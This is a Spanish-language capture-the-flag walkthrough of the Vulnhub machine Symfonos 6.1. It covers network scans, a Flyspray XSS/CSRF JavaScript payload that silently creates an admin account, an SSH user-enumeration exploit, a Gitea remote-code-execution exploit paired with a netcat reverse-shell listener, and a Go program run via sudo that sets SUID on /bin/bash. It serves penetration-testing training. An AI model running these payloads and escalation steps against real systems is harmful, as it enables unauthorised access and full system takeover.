Nos dirigimos a SYMFONOS 6.1 descargamos el zip, lo descomprimos y obtenemos el ova, los pasos para instalar un ova de vulhub en VMWare lo puedes observar en un ejemplo planteado en Instalar Máquina Vulhub en VMWare.
❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 4c:6e:6e:5f:8c:e2 Comnect Technology CO.,LTD
192.168.1.102 e4:aa:ea:ca:19:1d Liteon Technology Corporation
192.168.1.104 00:0c:29:db:44:9f VMware, Inc.
192.168.1.250 44:22:7c:c3:ee:22 (Unknown)
192.168.1.103 80:6d:71:b9:f2:af (Unknown)
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.201 seconds (116.31 hosts/sec). 5 responded
La IP correspondiente a la máquina vulnerable Symfonos: 6.1 es 192.168.1.104, por lo que vamos a trabajar en esa ip, y vamos a comprobar que tengamos comunicación.
❯ ping -c 1 192.168.1.104
PING 192.168.1.104 (192.168.1.104) 56(84) bytes of data.
64 bytes from 192.168.1.104: icmp_seq=1 ttl=64 time=0.637 ms
--- 192.168.1.104 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.637/0.637/0.637/0.000 ms
Análizamos los puertos abiertos en esta máquina
❯ nmap -p- --open -sS -vvv --min-rate 1000 -n -Pn 192.168.1.104
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-01 06:42 CET
Initiating ARP Ping Scan at 06:42
Scanning 192.168.1.104 [1 port]
Completed ARP Ping Scan at 06:42, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 06:42
Scanning 192.168.1.104 [65535 ports]
Discovered open port 80/tcp on 192.168.1.104
Discovered open port 22/tcp on 192.168.1.104
Discovered open port 3306/tcp on 192.168.1.104
Discovered open port 5000/tcp on 192.168.1.104
Discovered open port 3000/tcp on 192.168.1.104
Completed SYN Stealth Scan at 06:42, 2.52s elapsed (65535 total ports)
Nmap scan report for 192.168.1.104
Host is up, received arp-response (0.00076s latency).
Scanned at 2023-12-01 06:42:11 CET for 3s
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
5000/tcp open upnp syn-ack ttl 64
MAC Address: 00:0C:29:DB:44:9F (VMware)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Vemos los siguientes puertos abiertos ahora vamos enviar un conjunto predeterminado de scripts con el parámetro -sC y también trataremos de averiguar las versiones de los servicios expuestos con el parámetro -sV.
❯ nmap -sCV -p22,80,3000,3306,5000 192.168.1.104
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-01 06:44 CET
Nmap scan report for 192.168.1.104
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 0ead33fc1a1e8554641339146809c170 (RSA)
| 256 54039b4855deb32b0a78904ab31ffacd (ECDSA)
|_ 256 4e0ce63d5c0809f4114885a2e7fb8fb7 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5411cbf7b13d8fec; Path=/; HttpOnly
| Set-Cookie: _csrf=Hdi6GYBIt-2eCIowqoKjVCJ4iH46MTcwMTM0NDM4NzEzMjUzNjk4NQ; Path=/; Expires=Fri, 01 Dec 2023 11:39:47 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 30 Nov 2023 11:39:47 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
| console.info('ServiceWorker registration successful with scope: ', registrat
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=74b030dff796c5fa; Path=/; HttpOnly
| Set-Cookie: _csrf=Km6KAv8vE79avO1Woijf6Y7TbHk6MTcwMTM0NDM5MjU5ODQxMTE5NA; Path=/; Expires=Fri, 01 Dec 2023 11:39:52 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 30 Nov 2023 11:39:52 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_ console.info('ServiceWorker registration successful
3306/tcp open mysql MariaDB (unauthorized)
5000/tcp open upnp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Thu, 30 Nov 2023 11:40:19 GMT
| Content-Length: 18
| page not found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Thu, 30 Nov 2023 11:39:47 GMT
| Content-Length: 18
| page not found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Thu, 30 Nov 2023 11:40:03 GMT
| Content-Length: 18
|_ page not found
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.32 seconds
Lo primero a notar es la version de SSH que es algo antigua por lo que puede ser vulnerable a user enumeration. Los demás puertos los iremos revisando a continuación.
Vemos que solo tenemos una imagen, vamos a proceder a enumerar los posibles directorios, con gobuster.
❯ gobuster dir -u http://192.168.1.104 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.104
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/posts (Status: 301) [Size: 235] [--> http://192.168.1.104/posts/]
/flyspray (Status: 301) [Size: 238] [--> http://192.168.1.104/flyspray/]
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished
===============================================================
Vemos que existen dos directorios:
/post
/flyspray
Vamos a averiguar la versión de flyspray haciendo un fuzzing de directorios.
Vemos que existe el directorio /docs por lo que nos vamos a dirigir ahí y observar que hay varios archivos vamos a leer cada uno para observar en donde puede haber una pista de la versión.
Por lo general sería en el CHANGELOG.txt pero vemos que no indica nada, al final observamos que es el archivo UPGRADING.txt donde podemos observar que la versión actual es 1.0
Conociendo la versión de flyspray procedemos ha buscar un exploit o vulnerabilidades de acuerdo a esa versión.
searchsploit flyspray 1.0
Existe un XSS que nos lleva a un XSRF, por lo que vamos a descargar el txt y procedemos a leerlo para saber como implementar esa vulnerabilidad.
searchsploit -m php/webapps/41918.txt
Le cambio el nombre para que sea más indicativo
mv 41918.txt flyspray_xss.txt
En resumen, indica que tendremos que registrarnos y logearnos para luego diriginos a /index.php?do=myprofile donde revisaremos que el campo Real Name es vulnerable a XSS y ahí vamos añadir que ejecute archivos js desde nuestra máquina de atacante, el archivo que llamaremos test.js tendrá que conteneder que vemos a continuación que está en el mismo txt. En adición viene un link a youtube para observar como explotar la vulnerabilidad.
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
Bueno ahora vamos a registranos en flyspray.
Estando registrados procedemos a logearnos.
Ahora nos dirigimos a /index.php?do=myprofile como lo indicaba el txt.
http:/flyspray/index.php?do=myprofile
Y vamos a proceder hacer lo siguiente
Actualizamos nuestro Real Name y nos dirigimos a Tasklist
Procedemos a ingresar a la única tarea que existe.
Y ademas vemos una pista:
Vamos a crear un servidor http con python en el directorio donde tenemos test.js:
python3 -m http.server 80
Ahora esperaremos a que salga una petición y eso quiere decir que ya está creado el usuario cual es hacker:12345678.
Vemos que la máquina víctima hizo la petición ahora vamos a deslogearnos y vamos a logearnos con las credenciales hacker:12345678 y observaremos que tenemos acceso como admin.
Podemos observar que ahora existe un nuevo task, vamos a leerlo para saber que hay dentro.
Nos dan las credenciales y como indica self hosted git service, es una pista de que es del servicio que está en el puerto 3000 que es gitea.
En el puerto 3000 vemos que está expuerto el servicio Gitea
Antes de proceder a logearnos como aquiles vamos a realizar un reconocimiento a la página, y lo unico que observamos es que existen dos usuarios achilles y zayotic. Ya conocimos que existe achilles pero tambien existe zayotic pero no se observa mucho más, por lo que podemos probar si son usuarios válidos para ssh.
Vamos a buscar el exploit para poder hacer enumeración de usuarios en SSH
searchsploit openSSH 7.4
Vamos a descargar el primero que se observa que es válido desde la versión 2.5 hasta la 7.7 por lo que entra facilmente la versión de la máquina víctima.
searchsploit -m linux/remote/45233.py
Vamos a cambiarle el nombre para que sea más indicativo.
mv 45233.py ssh_userenum.py
Vemos los parámetros que necesita.
❯ python2.7 ssh_userenum.py
Traceback (most recent call last):
File "ssh_userenum.py", line 8, in <module>
import paramiko
ImportError: No module named paramiko
Si te salta este error procedemos hacer lo siguiente.
https://bootstrap.pypa.io/pip/2.7/get-pip.py
❯ python2.7 get-pip.py
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting pip<21.0
Downloading pip-20.3.4-py2.py3-none-any.whl (1.5 MB)
|████████████████████████████████| 1.5 MB 5.3 MB/s
Collecting setuptools<45
Downloading setuptools-44.1.1-py2.py3-none-any.whl (583 kB)
|████████████████████████████████| 583 kB 14.0 MB/s
Collecting wheel
Downloading wheel-0.37.1-py2.py3-none-any.whl (35 kB)
Installing collected packages: pip, setuptools, wheel
Successfully installed pip-20.3.4 setuptools-44.1.1 wheel-0.37.1
paramiko que falta para que ejecute bien el script.❯ pip2 install paramiko
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting paramiko
Downloading paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
|████████████████████████████████| 213 kB 5.0 MB/s
Collecting six
Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting pynacl>=1.0.1
Downloading PyNaCl-1.4.0-cp27-cp27mu-manylinux1_x86_64.whl (964 kB)
|████████████████████████████████| 964 kB 10.7 MB/s
Collecting bcrypt>=3.1.3
Downloading bcrypt-3.1.7-cp27-cp27mu-manylinux1_x86_64.whl (59 kB)
|████████████████████████████████| 59 kB 5.5 MB/s
Collecting cryptography>=2.5
Downloading cryptography-3.3.2-cp27-cp27mu-manylinux2010_x86_64.whl (2.6 MB)
|████████████████████████████████| 2.6 MB 12.0 MB/s
Collecting cffi>=1.4.1
Downloading cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl (390 kB)
|████████████████████████████████| 390 kB 12.4 MB/s
Collecting ipaddress; python_version < "3"
Downloading ipaddress-1.0.23-py2.py3-none-any.whl (18 kB)
Collecting enum34; python_version < "3"
Downloading enum34-1.1.10-py2-none-any.whl (11 kB)
Collecting pycparser
Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB)
|████████████████████████████████| 118 kB 12.7 MB/s
Installing collected packages: six, pycparser, cffi, pynacl, bcrypt, ipaddress, enum34, cryptography, paramiko
Successfully installed bcrypt-3.1.7 cffi-1.15.1 cryptography-3.3.2 enum34-1.1.10 ipaddress-1.0.23 paramiko-2.12.0 pycparser-2.21 pynacl-1.4.0 six-1.16.0
Volvemos a ejecutar el script de enumeración de usuarios de ssh.
Ya funciona, ahora vamos a poner el target y el username
❯ python2.7 ssh_userenum.py 192.168.1.104 achilles 2>/dev/null
[+] achilles is a valid username
Vemos que efecticamente achilles tambien es un usuario válido para ssh, ya probe las credenciales que vimos en flyspray y no funciona habra que ver otra manera quizas cuando entremos de forma local.
❯ python2.7 ssh_userenum.py 192.168.1.104 zayotic 2>/dev/null
[-] zayotic is an invalid username
Zayotic no es válido para ssh por lo que procedemos a ignorarlo.
Procedemos a logearnos como el usuario achilles cual observamos anteriormente sus credenciales.
Ahora vamos a revisar la versión de Gitea que existe.
Buscamos si existe un exploit para Gitea
Vamos a probar este exploit, porque como tenemos las credenciales probablemente podremos ejecutar comandos.
searchsploit -m multiple/webapps/49571.py
Vamos a cambiar el nombre para que sea más indicativo.
mv 49571.py gitea_rce.py
Ejecutamos el script para saber que parámetros requiere.
Nos ponemos en escucha por le puerto 443 en nuestra máquina de atacante.
nc -nvlp 443
Y ejecutamos el exploit:
python3 gitea_rce.py -t 'http://192.168.1.104:3000/' -u 'achilles' -p 'h2sBr9gryBunKdF9' -I 192.168.1.104 -P 443
Hacemos limpieza de la tty y procedemos a saltar al usuario achilles
Vamos a saltar de usuario ya que conocemos las credenciales.
cd /home
su achilles
Vamos a revisar que podemos ejecutar con sudo:
Vemos que podemos ejecutar go por lo que vamos a crear un script en go que nos permita ejecutar comandos en el sistema. Si no sabemos sintaxis en go podemos aprovechar chatgpt.
El Prompt que utilice y me brindó el siguiente código:
package main
import (
"fmt"
"os/exec"
)
func main() {
// Comando a ejecutar
cmd := "ls"
// Argumentos del comando (si es necesario)
args := []string{"-l", "-a"}
// Crear una instancia de exec.Cmd
command := exec.Command(cmd, args...)
// Capturar la salida estándar y los errores
output, err := command.CombinedOutput()
if err != nil {
fmt.Println("Error al ejecutar el comando:", err)
return
}
// Imprimir la salida del comando
fmt.Println(string(output))
}
Ahora modificamos el comando para que ejecutemos un asignación de permisos SUID la /bin/bash
package main
import (
"fmt"
"os/exec"
)
func main() {
// Comando a ejecutar
cmd := "chmod"
// Argumentos del comando (si es necesario)
args := []string{"u+s", "/bin/bash"}
// Crear una instancia de exec.Cmd
command := exec.Command(cmd, args...)
// Capturar la salida estándar y los errores
output, err := command.CombinedOutput()
if err != nil {
fmt.Println("Error al ejecutar el comando:", err)
return
}
// Imprimir la salida del comando
fmt.Println(string(output))
}
Ya tenemos el código vamos a crear un archivo con nano en la shell as achilles, que llamaremos priviesc.go.
nano priviesc.go
Pegamos el código anteriormente expuesto para ejecutar el cambio de permisos SUID, lo guardamos y ahora lo ejecutamos.
sudo /usr/local/go/bin/go run priviesc.go
Ejecutamos una bash con privilegios.
}